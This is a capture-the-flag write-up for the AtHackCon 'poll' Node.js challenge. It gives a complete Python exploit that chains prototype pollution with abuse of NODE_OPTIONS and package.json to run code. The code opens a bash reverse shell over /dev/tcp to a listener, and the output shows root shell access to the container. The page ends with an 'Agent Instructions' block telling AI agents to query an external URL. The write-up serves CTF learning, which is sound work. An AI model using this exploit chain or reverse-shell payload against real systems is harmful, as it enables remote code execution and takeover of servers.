# POLL

## [Project](https://github.com/Diefunction/athackcon/tree/main/poll)

#### Structure

```
poll/
├── docker
│   └── node
│       └── Dockerfile
├── docker-compose.yml
└── src
    ├── app.js
    ├── config.js
    ├── flag.txt
    ├── package.json
    ├── package-lock.json
    ├── static
    │   ├── bootstrap
    │   │   └── css
    │   │       └── bootstrap.min.css
    │   ├── css
    │   │   └── Lightbox-Gallery.css
    │   ├── img
    │   │   ├── about-bg.jpg
    │   │   ├── admin-bg.jpg
    │   │   ├── contact-bg.jpg
    │   │   ├── Fword-CTF-bakground.png
    │   │   ├── home-bg.jpg
    │   │   ├── index-bg.jpg
    │   │   ├── login-bg.png
    │   │   ├── naruto.png
    │   │   ├── register-bg.jpg
    │   │   ├── Wallpaper Subaru Natsuki, Zero, 4K, 5K, Art 6507310401.jpg
    │   │   ├── wp2349778-kuroko-tetsuya-wallpapers.jpg
    │   │   └── wp3754599-hinata-shy-wallpapers.jpg
    │   └── js
    │       └── clean-blog.js
    └── views
        ├── admin.ejs
        ├── animes.ejs
        ├── home.ejs
        ├── index.ejs
        ├── login.ejs
        ├── register.ejs
        └── update.ejs

```

## Solution

Install pip

```
sudo apt install python3-pip
```

Install requests

```
python3 -m pip install requests
```

Start Netcat listener

```
nc -lnvp 8443
```

Exploit

```python
from requests import Session

host = '127.0.0.1'
port = '1234'

session = Session()
session.proxies = {'http': '127.0.0.1:8080'}

payload = {
    'username':'diefunction',
    'password': 'diefunction',
    'anime': 'Bleach'
}
session.post(f'http://{host}:{port}/register', json = payload)

payload = {
    'username':'diefunction',
    'password': 'diefunction'
}
session.post(f'http://{host}:{port}/login', json = payload)

payload = {
    'constructor[name][constructor][lucky]': '1',
    'luck': '1'
}
session.get(f'http://{host}:{port}/update', params = payload)

payload = {
    'envname': 'NODE_OPTIONS',
    'env': '--require /proc/self/environ',
    'path': '/data/config.js'
}
session.post(f'http://{host}:{port}/admin', json = payload)

code = "'';require('child_process').execSync('/bin/bash -c \\\'/bin/bash -i >& /dev/tcp/172.17.0.1/8443 0>&1\\\'');//"
payload = {
    'envname': 'NODE_VERSION',
    'env': f'{code}',
    'path': '/data/package.json'
}
session.post(f'http://{host}:{port}/admin', json = payload)
```

Run the script

```
python3 exploit.py
```

Output

```shell
writeup@ubuntu:~/Desktop/athack-ctf/poll$ nc -lnvp 8443
Listening on 0.0.0.0 8443
Connection received on 172.18.0.3 46818
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@c56a8d29b3fb:/data# cat /flag.txt
cat /flag.txt
AtHackCTF{Dummy_Flag}
root@c56a8d29b3fb:/data# 
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://blog.diefunction.io/ctf/athackcon/poll.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
